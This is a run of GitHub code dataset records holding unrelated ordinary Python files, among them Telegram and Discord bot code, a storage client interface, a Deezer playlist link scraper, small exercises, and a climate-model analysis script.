i[1].split(' - ')\n                menu.add(\n                       InlineKeyboardButton(\n                           text = markup1[0],\n                           url  = markup1[1]\n                           ),\n                       InlineKeyboardButton(\n                           text = markup2[0],\n                           url = markup2[1]\n                           )\n                )\n            else:\n                markup1 = i[0].split(' - ')\n             \n                menu.add(\n                       InlineKeyboardButton(\n                           text = markup1[0],\n                           url  = markup1[1]\n                           ),\n                        )\n                \n                \n                \n    return menu\ninline_back_button = InlineKeyboardMarkup()\ninline_back_button.add(\n        InlineKeyboardButton(\n            text = '🔙 Назад',\n            callback_data = 'back'\n            )\n    \n    )\n    \n\nget_actions = ReplyKeyboardMarkup(resize_keyboard = True)\n\n\nget_actions.add(\n        KeyboardButton('✅ Подтверждаю')\n    )\n\nget_actions.add(\n        KeyboardButton('🚫 Отмена')\n    ) \n    \ncancel = ReplyKeyboardMarkup(resize_keyboard = True)\ncancel.add(\n        KeyboardButton('🚫 ��тмена')\n    )    \n    \n    \nconfim_order = ReplyKeyboardMarkup(resize_keyboard = True)\nconfim_order.add('✅ Подтверждаю')\n\n","repo_name":"ceoaleksandr/test-shop-bot","sub_path":"markup.py","file_name":"markup.py","file_ext":"py","file_size_in_byte":9239,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"12165425470","text":"#!/usr/bin/env python3\n\nimport urllib.request\nimport urllib.error\n\n\ndef get_link(ip, port, path):\n    return \"http://{}:{}/{}\".format(ip, port, path)\n\n\ndef make_get_request(ip, port, path):\n    contents = ''\n    try:\n        contents = urllib.request.urlopen(get_link(ip, port, path)).read()\n    except urllib.error.HTTPError as e:\n        print(\"Error during GET request:\", e)\n    finally:\n        return contents\n\n\ndef make_post_request(ip, port, path, data):\n    contents = ''\n    try:\n        contents = urllib.request.urlopen(get_link(ip, port, path),\n                                          data=data).read()\n    except urllib.error.HTTPError as e:\n        print(\"Error during POST request:\", e)\n    finally:\n        return contents\n","repo_name":"sakshamsharma/distributed-control-panel","sub_path":"dcp/http_client.py","file_name":"http_client.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"16982685730","text":"import json\nfrom abc import ABC, abstractmethod\nfrom datetime import timedelta\nfrom typing import Optional, Union, Dict, Tuple, List, cast\n\n\nclass BaseStorageClient(ABC):\n    \"\"\"\n    The base class for storage clients with operations to list, read, write files and generate signed urls.\n    \"\"\"\n\n    _GZIP_MAGIC_NUMBER = (\n        b\"\\x1f\\x8b\"  # Hex signature used to identify a gzip compressed files\n    )\n\n    class GenericError(Exception):\n        pass\n\n    class PermissionsError(GenericError):\n        pass\n\n    class NotFoundError(GenericError):\n        pass\n\n    def __init__(self, prefix: Optional[str] = None):\n        self._prefix = prefix or \"\"\n        if self._prefix and not self._prefix.endswith(\"/\"):\n            self._prefix = f\"{self._prefix}/\"\n\n    @property\n    @abstractmethod\n    def bucket_name(self) -> str:\n        \"\"\"\n        Returns the bucket name referenced by this client\n        \"\"\"\n        pass\n\n    @abstractmethod\n    def write(self, key: str, obj_to_write: Union[bytes, str]) -> None:\n        \"\"\"\n        Writes a file in the given key, contents are included as bytes or string.\n        :param key: path to the file, for example /dir/name.ext\n        :param obj_to_write: contents for the file, specified as a bytes array or string\n        \"\"\"\n        raise NotImplementedError()\n\n    @abstractmethod\n    def read(\n        self,\n        key: str,\n        decompress: Optional[bool] = False,\n        encoding: Optional[str] = None,\n    ) -> Union[bytes, str]:\n        \"\"\"\n        Returns the contents of the specified file.\n        :param key: path to the file, for example /dir/name.ext\n        :param decompress: flag indicating if `gzip` contents should be decompressed automatically\n        :param encoding: if set binary content will be decoded using this encoding and a string will be returned\n        :return: a bytes object, unless encoding is set, in which case it returns a string.\n        \"\"\"\n        raise NotImplementedError()\n\n    @abstractmethod\n    def delete(self, key: str) -> None:\n        \"\"\"\n        Deletes the file at `key`\n        :param key: path to the file, for example /dir/name.ext\n        \"\"\"\n        raise NotImplementedError()\n\n    @abstractmethod\n    def download_file(self, key: str, download_path: str) -> None:\n        \"\"\"\n        Downloads the file at `key` to the local file indicated by `download_path`.\n        :param key: path to the file, for example /dir/name.ext\n        :param download_path: local path to the file where the contents of `key` will be stored.\n        \"\"\"\n        raise NotImplementedError()\n\n    @abstractmethod\n    def upload_file(self, key: str, local_file_path: str) -> None:\n        \"\"\"\n        Uploads the file at `local_file_path` to `key` in the associated bucket.\n        :param key: path to the file, for example /dir/name.ext\n        :param local_file_path: local path to the file to upload.\n        \"\"\"\n        raise NotImplementedError()\n\n    def read_json(self, key: str) -> Dict:\n        \"\"\"\n        Returns the contents as a dictionary of the JSON file at `key`.\n        :param key: path to the file, for example /dir/name.ext\n        :return: a Dictionary loaded from the JSON document.\n        \"\"\"\n        data = self.read(key)\n        return json.loads(data.decode(\"utf-8\") if isinstance(data, bytes) else data)\n\n    @abstractmethod\n    def read_many_json(self, prefix: str) -> Dict:\n        \"\"\"\n        Reads all JSON files under `prefix` and returns a dictionary where the key is the file path and the value\n        is the dictionary loaded from the JSON file.\n        :param prefix: Prefix for the files to load, for example: `/dir/`\n        :return: a dictionary where the key is the file path and the value is the dictionary loaded from the JSON file.\n        \"\"\"\n        raise NotImplementedError()\n\n    @abstractmethod\n    def managed_download(self, key: str, download_path: str):\n        \"\"\"\n        Performs a managed transfer that might be multipart, downloads the file at `key` to the local file at\n        `download_path`.\n        :param key: path to the file, for example /dir/name.ext\n        :param download_path: local path to the file where the contents of `key` will be stored.\n        \"\"\"\n        raise NotImplementedError()\n\n    @abstractmethod\n    def list_objects(\n        self,\n        prefix: Optional[str] = None,\n        batch_size: Optional[int] = None,\n        continuation_token: Optional[str] = None,\n        delimiter: Optional[str] = None,\n        *args,  # type: ignore\n        **kwargs,  # type: ignore\n    ) -> Tuple[Union[List, None], Union[str, None]]:\n        \"\"\"\n        List objects (files and folder) under the specified prefix.\n        Delimiter is set to \"/\" to return sub-folders, this works for all storage providers as it works for S3.\n        Documentation about delimiter in S3 requests available here:\n        https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html#API_ListObjectsV2_RequestSyntax\n        Prefix can be used to return contents of folders.\n        :param prefix: Prefix to use for listing, it can be used to list folders, for example: `prefix=/dir/`\n        :param batch_size: Used to page the result\n        :param continuation_token: Used to page the result, the second value in the resulting tuple is the continuation\n            token for the next call.\n        :param delimiter: Set to \"/\" to return sub-folders, when set the result will include the list of prefixes\n            returned by the storage provider instead of metadata for the objects.\n        :return: A tuple with the result list and the continuation token. The result list includes the following\n            attributes (when no delimiter is set): ETag, Key, Size, LastModified, StorageClass. If delimiter is\n            specified only Prefix is included in the result for each listed folder.\n        \"\"\"\n        raise NotImplementedError()\n\n    @abstractmethod\n    def generate_presigned_url(self, key: str, expiration: timedelta) -> str:\n        \"\"\"\n        Generates a pre-signed url for the given file with the specified expiration.\n        :param key: path to the file, for example /dir/name.ext\n        :param expiration: time for the generated link to expire, expressed as a timedelta object.\n        :return: a pre-signed url to access the specified file.\n        \"\"\"\n        raise NotImplementedError()\n\n    @abstractmethod\n    def is_bucket_private(self) -> bool:\n        \"\"\"\n        Checks if the bucket is configured with public access disabled.\n\n        :return: True if public access is disabled for the bucket and False if the bucket is publicly available.\n        \"\"\"\n        raise NotImplementedError()\n\n    def _is_gzip(self, content: bytes) -> bool:\n        return content[:2] == self._GZIP_MAGIC_NUMBER\n\n    def _apply_prefix(self, key: Optional[str]) -> Optional[str]:\n        if not key:\n            return self._prefix\n        if self._prefix:\n            return f\"{self._prefix}{key}\"\n        else:\n            return key\n\n    def _remove_prefix(self, key: str) -> str:\n        if self._prefix and key.startswith(self._prefix):\n            return key[len(self._prefix) :]\n        else:\n            return key\n\n    def _remove_prefix_from_prefixes(\n        self, entries: Optional[List[Dict]]\n    ) -> Optional[List[Dict]]:\n        if not entries or not self._prefix:\n            return entries\n        return [\n            {\"Prefix\": self._remove_prefix(cast(str, entry.get(\"Prefix\")))}\n            for entry in entries\n        ]\n\n    def _remove_prefix_from_entries(\n        self, entries: Optional[List[Dict]]\n    ) -> Optional[List[Dict]]:\n        if not entries or not self._prefix:\n            return entries\n        return [\n            {**entry, \"Key\": self._remove_prefix(cast(str, entry.get(\"Key\")))}\n            for entry in entries\n        ]\n","repo_name":"monte-carlo-data/apollo-agent","sub_path":"apollo/integrations/storage/base_storage_client.py","file_name":"base_storage_client.py","file_ext":"py","file_size_in_byte":7839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33778230569","text":"class Solution:\n    def minOperations(self, boxes: str) -> List[int]:\n        posB = list()\n        res = list()\n        for i, element in enumerate(boxes):\n            if element=='1':\n                posB.append(i)\n        \n        for i in range(len(boxes)):\n            count = 0\n            for x in posB:\n                count += abs(x-i) \n            res.append(count)\n        return res","repo_name":"bzlee-bio/coding-study","sub_path":"modulabs/week4/problem5.py","file_name":"problem5.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22352194640","text":"from selenium.common import StaleElementReferenceException\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.support import expected_conditions as EC\n\n\nclass wait_for_value_to_start_with(object):\n    def __init__(self, locator, text_):\n        self.locator = locator\n        self.text = text_\n\n    def __call__(self, driver):\n        try:\n            element_text = driver.find_element(*self.locator).get_attribute('value')\n            return element_text.startswith(self.text)\n        except StaleElementReferenceException:\n            return False\n\n\nplaylist = \"\"\nprint(\"Keep in mind that the playlist must be public.\")\nwhile True:\n    print(\"Enter the link of the playlist you want to download: \")\n    playlist = str(input())\n    if not playlist.startswith(\"https://www.deezer.com/\") or \"/playlist/\" not in playlist:\n        print(\"You entered the wrong link\")\n        continue\n    else:\n        break\nopen('links_file.txt', 'w').close()\ndriver = webdriver.Chrome(service=Service(ChromeDriverManager().install()))\ndriver.get(playlist)\nlistoflinks = []\nprint(\"Make sure you expand your browser window!\")\nprint(\"Links to every track from playlist: \")\ntry:\n    try:\n        refuse_button = WebDriverWait(driver, 10).until(\n            EC.presence_of_element_located((By.ID, \"gdpr-btn-refuse-all\"))\n        )\n        refuse_button.click()\n    except:\n        print(\"Refuse button didn't pop up!\")\n    numberoftracks = driver.find_element(By.CSS_SELECTOR, \"#page_naboo_playlist > div.catalog-content > div > div._5BJsj > div > div._2yyo6 > ul > li:nth-child(1)\").text\n    numberoftracks = numberoftracks[0:len(numberoftracks)-7]\n    numberoftracks = int(numberoftracks)\n    for x in range(1, numberoftracks + 1):\n        try:\n            button = driver.find_element(By.CSS_SELECTOR,\n                                         \"div._2OACy[aria-rowindex=\\'\" + str(x) + \"\\'] .popper-wrapper button\")\n            button.click()\n            div = WebDriverWait(driver, 10).until(\n                EC.presence_of_element_located((By.CLASS_NAME, \"_2ZkBf\"))\n            )\n            share_button = div.find_element(By.XPATH, \"//*[contains(text(), 'Share')]\")\n            share_button.click()\n        except Exception as e:\n            print(e)\n            driver.execute_script(\n                \"document.querySelector(\\\"div._2OACy[aria-rowindex=\\'\" + str(x) + \"\\']\\\").scrollIntoView()\")\n            continue\n        WebDriverWait(driver, 10).until(wait_for_value_to_start_with((By.CSS_SELECTOR,\n                                                                      \"#modal_sharebox > div.modal-body > div.share-content.share-infos > div.share-thumbnail-infos > div.share-action > div > div.control-input > input\"),\n                                                                     \"https:\"))\n        input = driver.find_element(By.CSS_SELECTOR,\n                                    \"#modal_sharebox > div.modal-body > div.share-content.share-infos > div.share-thumbnail-infos > div.share-action > div > div.control-input > input\")\n        link = input.get_attribute('value')\n        listoflinks.append(link)\n        print(str(x) + \". track: \" + link)\n        close_button = driver.find_element(By.ID, \"modal-close\")\n        close_button.click()\n        driver.execute_script(\n            \"document.querySelector(\\\"div._2OACy[aria-rowindex=\\'\" + str(x) + \"\\']\\\").scrollIntoView()\")\nexcept Exception as e:\n    print(e)\n    driver.quit()\ndriver.quit()\nwith open(\"links_file.txt\", \"w\") as f:\n    for element in listoflinks:\n        f.write(str(element) + \"\\n\")\nprint(\"Links to all \" + str(len(listoflinks)) + \" tracks are in the \\\"links_file.txt\\\"\")","repo_name":"djordjije11/DeezerPlaylistsDownload","sub_path":"deezer_main.py","file_name":"deezer_main.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15916140894","text":"def decor(fanc):\n    def check(name):\n        if not name.isalpha():\n            print('Please enter valid data')\n        else:\n            fanc(name)\n    return check\n\n\n@decor\ndef wish(name):\n    print(f'Best of luck {name}')\n\n\nwish('John')\nwish('1234')\n\ndecorfanction = decor(wish)\ndecorfanction('Shubham')\ndecorfanction('1111')\n\n\n\n\n","repo_name":"shubhampaanchal/Python","sub_path":"Decorator/Decorator.py","file_name":"Decorator.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8181293379","text":"#!/usr/bin/env python3\n\"\"\"Load paths to sound files.\"\"\"\n\nimport os\nimport sys\n\n\ndef load_sound_paths():\n    \"\"\"meh.\"\"\"\n    sound_dir = os.path.join(os.path.dirname(__file__), 'sound_files')\n\n    for f in os.listdir(sound_dir):\n        name = os.path.splitext(os.path.basename(f))[0]\n        path = os.path.join(sound_dir, f)\n        setattr(sys.modules[__name__], name, path)\n\n\nload_sound_paths()\n","repo_name":"muppetjones/remgame","sub_path":"gamelib/sounds.py","file_name":"sounds.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7438361292","text":"#!/usr/bin/env python\n\nimport zmq\nfrom sys import argv\nfrom pprint import pprint\n\ndef main():\n    context = zmq.Context()\n\n    request = context.socket(zmq.REQ)\n    request.connect('tcp://localhost:3333')\n\n    # Statistics\n    # cache_stats / config / all_services\n    request.send_json({\n    \t'version' : 1,\n        'action': 'all_services'\n    })\n\n    pprint(request.recv_json())\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"sguzwf/lsd","sub_path":"misc/stats_watcher.py","file_name":"stats_watcher.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72053587209","text":"# Enter your code here. Read input from STDIN. Print output to STDOUT\n\ndef doormat(r, c):\n    for i in range(r//2):\n        print((\".|.\"*(i*2+1)).center(c, \"-\"))\n    print(\"WELCOME\".center(c, \"-\"))\n    for i in range(r//2-1, -1, -1):\n        print((\".|.\"*(i*2+1)).center(c, \"-\"))\n\n\ndef main():\n    rows, columns = [int(s) for s in input().strip().split()]\n    doormat(rows, columns)\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"hideyukikanazawa/Challenges","sub_path":"hackerrank/python/10. printDoormat.py","file_name":"10. printDoormat.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7126732772","text":"import ee\nimport geemap\n\n# Create a map centered at (lat, lon).\nMap = geemap.Map(center=[40, -100], zoom=4)\n\n# Add some data to the Map\ndem = ee.Image(\"JAXA/ALOS/AW3D30_V1_1\").select('MED')\nMap.addLayer(dem, {'min': 0, 'max': 5000, 'palette': ['000000', 'ffffff'] }, 'DEM', True)\n\n# TEST Map.setCenter\nMap.setCenter(0, 28, 2.5)\n\n# Display the map.\nMap\n","repo_name":"giswqs/earthengine-py-examples","sub_path":"Gena/map_set_center.py","file_name":"map_set_center.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":114,"dataset":"github-code","pt":"16"}
+{"seq_id":"31818073393","text":"from __future__ import annotations\n\nimport os\nimport sys\nimport pickle\nimport csv\nimport datetime as dt\nfrom secrets import token_hex\nfrom typing import List, Dict, Tuple, IO, Optional\n\nimport discord\nfrom discord.ext import commands\nfrom bidict import bidict\nfrom bidict._exc import *\n\nfrom comp3000bot import config\nfrom comp3000bot.singleton import Singleton\nfrom comp3000bot.logger import get_logger\nfrom comp3000bot.utils import (\n    generate_file,\n    generate_csv_file,\n    get_text_channel,\n    get_guild,\n    get_role,\n    get_text_channel_or_curr,\n)\n\nlogger = get_logger()\n\n\nclass StudentInformation:\n    def __init__(self, name: str, number: int, email: str):\n        self.name = name\n        self.number = number\n        self.email = email\n        self.discord_name = None  # type: str\n        self.discord_id = None  # type: int\n        self.is_registered = False\n        self.generate_new_secret()\n\n    def __repr__(self):\n        return f'Student(name={self.name})'\n\n    def __hash__(self):\n        return hash(self.number)\n\n    def __eq__(self, other):\n        return self.number == other.number\n\n    def generate_new_secret(self):\n        self.secret = token_hex(32)\n\n    def register(self, member: discord.Member):\n        self.discord_name = member.name\n        self.discord_id = member.id\n        self.is_registered = True\n\n    def reset(self):\n        self.discord_name = None\n        self.discord_id = None\n        self.is_registered = False\n\n    @classmethod\n    def csv_header(cls) -> Tuple[str, str, str, str, str]:\n        return ('name', 'number', 'email', 'discord_name', 'secret')\n\n    def csv_row(self) -> Tuple[str, int, str, str, str]:\n        return (self.name, self.number, self.email, self.discord_name, self.secret)\n\n    def to_csv_file(self) -> discord.File:\n        return generate_csv_file(\n            f'{self.name}_{self.number}.csv', self.csv_header(), [self.csv_row()]\n        )\n\n\nclass Students(metaclass=Singleton):\n    __FILE_NAME = os.path.join(config.STUDENTS_DIR, f'students_{config.GUILD_ID}.dat')\n\n    def __init__(self):\n        self.students = bidict({})  # type: bidict[str, StudentInformation]\n        self.registered_students = bidict({})  # type: bidict[int, StudentInformation]\n\n    @staticmethod\n    def factory():\n        \"\"\"\n        Load students from disk or create an empty Students class.\n        \"\"\"\n        try:\n            return Singleton._instances[Students]\n        except Exception:\n            pass\n        try:\n            Students._from_disk()\n        except FileNotFoundError as e:\n            logger.warn(f\"Unable to load students from disk: {repr(e)}\")\n        return Students()\n\n    @staticmethod\n    def _from_disk() -> Students:\n        \"\"\"\n        Load Students from a file saved on disk. Don't call this directly. Use Students.factory() instead.\n        \"\"\"\n        fname = Students.__FILE_NAME\n        logger.info(f'Loading {fname}...')\n        with open(fname, 'rb') as f:\n            obj = pickle.load(f)\n        if not isinstance(obj, Students):\n            raise TypeError(\"Unpicked object is not of type Students\")\n        Singleton._instances[Students] = obj\n        logger.info(f'Loaded {fname}')\n        return obj\n\n    def add_student(\n        self, name: str, number: int, email: str, overwrite: bool = False\n    ) -> StudentInformation:\n        \"\"\"\n        Add a new student to the collection of students.\n        \"\"\"\n        student = StudentInformation(name, number, email)\n        if overwrite:\n            self.students.forceput(student.secret, student)\n        else:\n            try:\n                self.students[student.secret] = student\n            except ValueDuplicationError:\n                raise Exception(\n                    f'Refusing to update existing {repr(student)}. You may wish to set overwrite to True.'\n                )\n        return student\n\n    def remove_student(self, number: int):\n        secret = self.students.inverse[StudentInformation('', number, '')]\n        try:\n            _id = self.registered_students.inverse[StudentInformation('', number, '')]\n            self.registered_students.pop(_id)\n        except Exception:\n            pass\n        return self.students.pop(secret)\n\n    def reset_student(self, number: int):\n        secret = self.students.inverse[StudentInformation('', number, '')]\n        student = self.students[secret]\n        student.reset()\n        return student\n\n    def register_student(self, student: StudentInformation, member: discord.Member):\n        student.register(member)\n        self.registered_students[member.id] = student\n        return student\n\n    def student_by_secret(self, secret: str) -> StudentInformation:\n        \"\"\"\n        Get a student by their secret.\n        \"\"\"\n        try:\n            return self.students[secret]\n        except KeyError:\n            raise KeyError(f'No student with secret {secret}') from None\n\n    def student_by_member(self, member: discord.Member) -> StudentInformation:\n        \"\"\"\n        Get a student by their discord member.\n        \"\"\"\n        try:\n            return self.registered_students[member.id]\n        except KeyError:\n            raise KeyError(f'No student associated with {member.name}') from None\n\n    def to_csv_file(self) -> discord.File:\n        return generate_csv_file(\n            f'student_information.csv',\n            StudentInformation.csv_header(),\n            [student.csv_row() for student in self.students.values()],\n        )\n\n    def to_disk(self):\n        \"\"\"\n        Write Students to disk.\n        \"\"\"\n        fname = Students.__FILE_NAME\n        logger.info(f'Saving {fname}...')\n        with open(fname, 'wb+') as f:\n            pickle.dump(self, f)\n\n    async def populate_from_csv_file(\n        self,\n        ctx: commands.Context,\n        fp: IO[str],\n        has_header: bool,\n        overwrite: bool = False,\n    ) -> 'StudentInformation':\n        \"\"\"\n        Populate this student manager from an open CSV file.\n        The format should be as follows:\n            fname, lname, email, number\n        \"\"\"\n        reader = csv.reader(fp)\n        failed_count = 0\n        success_count = 0\n        if has_header:\n            reader = reader[1:]\n        for fname, lname, email, number in reader:\n            name = f'{fname} {lname}'\n            try:\n                self.add_student(name, int(number), email, overwrite)\n                success_count += 1\n            except Exception as e:\n                logger.error(f'Unable to add student ({name}, {number})', exc_info=e)\n                failed_count += 1\n        if failed_count:\n            await ctx.send(f'Failed to add {failed_count} students')\n        else:\n            await ctx.send(f'Added {success_count} students successfully')\n","repo_name":"willfindlay/comp3000bot","sub_path":"comp3000bot/students.py","file_name":"students.py","file_ext":"py","file_size_in_byte":6745,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"48074749260","text":"import itertools\nfrom logging import getLogger\n\nimport matplotlib\nimport numpy as np\n\nmatplotlib.use('Agg')\nimport pylab as plt\n\nfrom omnium import Analyser\nfrom omnium.utils import get_cube\nfrom omnium.consts import L, cp, Lf\n\nlogger = getLogger('scaf.dump_entr')\n\nSCALARS = ['MSE', 'FMSE']\nCLD_OPTS = ['scaffold', 'scaffold_plus', 'scaffold_plus_strong', 'SS2012', 'swann_ud', 'swann_core']\nMETHODS = ['normal', 'acc']\n\nclass DumpEntr(Analyser):\n    analysis_name = 'dump_entr'\n    multi_expt = True\n\n    input_dir = 'share/data/history/{expt}'\n    input_filename_glob = '{input_dir}/atmosa_da480.nc'\n    output_dir = 'omnium_output/{version_dir}/suite_{expts}'\n    output_filenames = ['{output_dir}/atmos.dump_entr.dummy']\n\n    def load(self):\n        self.load_cubes()\n\n    def run(self):\n        pass\n\n    def save(self, state, suite):\n        with open(self.task.output_filenames[0], 'w') as f:\n            f.write('done')\n\n    def display_results(self):\n        self._plot_entrainment()\n        plt.close('all')\n\n    def _plot_entrainment(self):\n        opts = []\n        for p in itertools.product(SCALARS, CLD_OPTS, METHODS):\n            opt = {'SCALAR': p[0],\n                    'CLD_DEF': p[1],\n                    'METHOD': p[2]}\n            opts.append(opt)\n\n        for i, expt in enumerate(self.task.expts):\n            da = self.expt_cubes[expt]\n\n            theta_cube = get_cube(da, 0, 4)\n            q_cube = get_cube(da, 0, 10)\n\n            qcl_cube = get_cube(da, 0, 254)\n            qcf_cube = get_cube(da, 0, 12)\n            qcf2_cube = get_cube(da, 0, 271)\n            qgr_cube = get_cube(da, 0, 273)\n            w_cube = get_cube(da, 0, 150)\n\n            z = theta_cube.coord('atmosphere_hybrid_height_coordinate').points\n\n            # Calc MSE (h), FMSE (h2)\n            theta = theta_cube.data\n            q = q_cube.data\n            qcf = qcf_cube.data\n            qcf2 = qcf2_cube.data\n            qgr = qgr_cube.data\n            h = theta + L / cp * q\n            h2 = theta + L / cp * q - Lf / cp * (qcf + qcf2 + qgr)\n\n            w = w_cube.data\n            qcl = qcl_cube.data\n            qcf = qcf_cube.data\n            qcf2 = qcf2_cube.data\n            theta = theta_cube.data\n\n            for opt in opts:\n                logger.debug('entr for {}: {}', expt, opt)\n                if opt['CLD_DEF'] == 'SS2012':\n                    # Using def from Stirling and Stratton 2012:\n                    # qcl or qcf (or qcf2) > 1e-5 kg/kg\n                    # w > 0\n                    # +ve buoyancy (here defined as theta > theta.mean())\n                    qcl_thresh = 1e-5\n                    w_thresh = 0\n                    env_mask = (((qcl > qcl_thresh) | (qcf > qcl_thresh) | (qcf2 > qcl_thresh))\n                                & (w > w_thresh)\n                                & (theta > theta.mean(axis=(1, 2))[:, None, None]))\n                elif opt['CLD_DEF'] == 'swann_ud':\n                    qcl_thresh = 1e-6\n                    w_thresh = 0\n                    env_mask = (((qcl > qcl_thresh) | (qcf > qcl_thresh) | (qcf2 > qcl_thresh))\n                                & (w > w_thresh))\n                elif opt['CLD_DEF'] == 'swann_core':\n                    qcl_thresh = 1e-6\n                    w_thresh = 0\n                    env_mask = (((qcl > qcl_thresh) | (qcf > qcl_thresh) | (qcf2 > qcl_thresh))\n                                & (w > w_thresh)\n                                & (theta > theta.mean(axis=(1, 2))[:, None, None]))\n                elif opt['CLD_DEF'] == 'scaffold':\n                    qcl_thresh = 5e-6\n                    w_thresh = 1\n                    env_mask = (qcl > qcl_thresh) & (w > w_thresh)\n                elif opt['CLD_DEF'] == 'scaffold_plus':\n                    qcl_thresh = 5e-6\n                    w_thresh = 1\n                    env_mask = (((qcl > qcl_thresh) | (qcf > qcl_thresh) | (qcf2 > qcl_thresh))\n                                & (w > w_thresh))\n                elif opt['CLD_DEF'] == 'scaffold_plus_strong':\n                    qcl_thresh = 5e-6\n                    w_thresh = 5\n                    env_mask = (((qcl > qcl_thresh) | (qcf > qcl_thresh) | (qcf2 > qcl_thresh))\n                                & (w > w_thresh))\n                cld_mask = ~env_mask\n\n                # Calc entr.\n                if opt['SCALAR'] == 'MSE':\n                    scalar = h\n                elif opt['SCALAR'] == 'FMSE':\n                    scalar = h2\n                # Can't do without knowing source terms of qt.\n                # elif opt['SCALAR'] == 'qt':\n                #     scalar = (expt_res['q_cube'].data +\n                #         expt_res['qcl_cube'].data +\n                #         expt_res['qcf_cube'].data +\n                #         expt_res['qcf2_cube'].data)\n\n                if opt['METHOD'] == 'acc':\n                    scalar_c = (np.ma.masked_array(scalar * w, cld_mask).mean(axis=(1, 2))\n                                / np.ma.masked_array(w, cld_mask).mean(axis=(1, 2)))\n                    scalar_e = np.ma.masked_array(scalar, env_mask).mean(axis=(1, 2))\n\n                    dscalar_c_dz = (scalar_c[2:] - scalar_c[:-2])/(z[2:] - z[:-2])\n                    entr = dscalar_c_dz / (scalar_e[1:-1] - scalar_c[1:-1])\n\n                elif opt['METHOD'] == 'normal':\n                    scalar_c = np.ma.masked_array(scalar, cld_mask).mean(axis=(1, 2))\n                    scalar_e = np.ma.masked_array(scalar, env_mask).mean(axis=(1, 2))\n\n                    dscalar_c_dz = (scalar_c[2:] - scalar_c[:-2]) / (z[2:] - z[:-2])\n                    entr = dscalar_c_dz / (scalar_e[1:-1] - scalar_c[1:-1])\n\n                # Plot results\n                z_km = z / 1000\n\n                figname = 'entr_{}_{}_{}_{}'.format(expt,\n                                                    opt['SCALAR'],\n                                                    opt['CLD_DEF'],\n                                                    opt['METHOD'])\n                fig = plt.figure(figname)\n                plt.clf()\n                fig, axgrid = plt.subplots(1, 5, fig=fig, sharey=True, num=figname, figsize=(15, 12))\n                ax0, ax1, ax2, ax3, ax4 = axgrid\n\n                # ~10 km\n                # ztop_index = 55\n                ztop_index = 75\n                # full.\n                # ztop_index = 98\n                ax0.plot(scalar_c[1:ztop_index], z_km[1:ztop_index], label='cld')\n                ax0.plot(scalar_e[1:ztop_index], z_km[1:ztop_index], label='env')\n                ax0.legend()\n\n                ax1.plot(dscalar_c_dz[:ztop_index - 1] * 1000, z_km[1:ztop_index])\n\n                ax2.plot(scalar_e[1:ztop_index] - scalar_c[1:ztop_index], z_km[1:ztop_index])\n\n                ax3.plot(env_mask.sum(axis=(1, 2)) / (env_mask.shape[1] * env_mask.shape[2]), z_km)\n                ax3.set_xlim((0, 0.1))\n\n                ax4.plot(entr[:ztop_index - 1] * 1000, z_km[1:ztop_index])\n                ax4.set_xlim((-1, 1))\n                ax4.axvline(x=0, color='k', linestyle='--')\n\n                ax0.set_ylabel('height (km)')\n                ax0.set_ylim((0, 15))\n                ax0.set_xlabel('{}'.format(opt['SCALAR']))\n                ax1.set_xlabel('$\\\\frac{{d{}_c}}{{dz}}$'.format(opt['SCALAR']))\n                ax2.set_xlabel('${0}_e - {0}_c$'.format(opt['SCALAR']))\n                ax3.set_xlabel('$\\\\sigma$')\n                ax4.set_xlabel('$\\\\epsilon$ (km$^{-1}$)')\n\n                plt.savefig(self.file_path('entr_' + figname + '.png'))\n","repo_name":"markmuetz/scaffold_analysis","sub_path":"scaffold/suite/dump_entr.py","file_name":"dump_entr.py","file_ext":"py","file_size_in_byte":7484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35803219623","text":"# -*- coding: utf-8 -*-\n#BEGIN_HEADER\n# The header block is where all import statements should live\nimport os\nimport uuid\nimport json\nimport shutil\nfrom KBaseReport.KBaseReportClient import KBaseReport\nfrom Workspace.WorkspaceClient import Workspace\nfrom taxaspec.filter import filter_file\nfrom taxaspec import acquire\nimport zipfile\n#END_HEADER\n\n\nclass MetabolomicsTools:\n    '''\n    Module Name:\n    MetabolomicsTools\n\n    Module Description:\n    A KBase module: MetabolomicsTools\n    '''\n\n    ######## WARNING FOR GEVENT USERS ####### noqa\n    # Since asynchronous IO can lead to methods - even the same method -\n    # interrupting each other, you must be *very* careful when using global\n    # state. A method could easily clobber the state set by another while\n    # the latter method is running.\n    ######################################### noqa\n    VERSION = \"1.0.0\"\n    GIT_URL = \"git@github.com:JamesJeffryes/MetabolomicsTools.git\"\n    GIT_COMMIT_HASH = \"c76fc0898314fad8a852c976f5d6d0ca5082fcf0\"\n\n    #BEGIN_CLASS_HEADER\n    # Class variables and functions can be defined in this block\n    #END_CLASS_HEADER\n\n    # config contains contents of config file in a hash or None if it couldn't\n    # be found\n  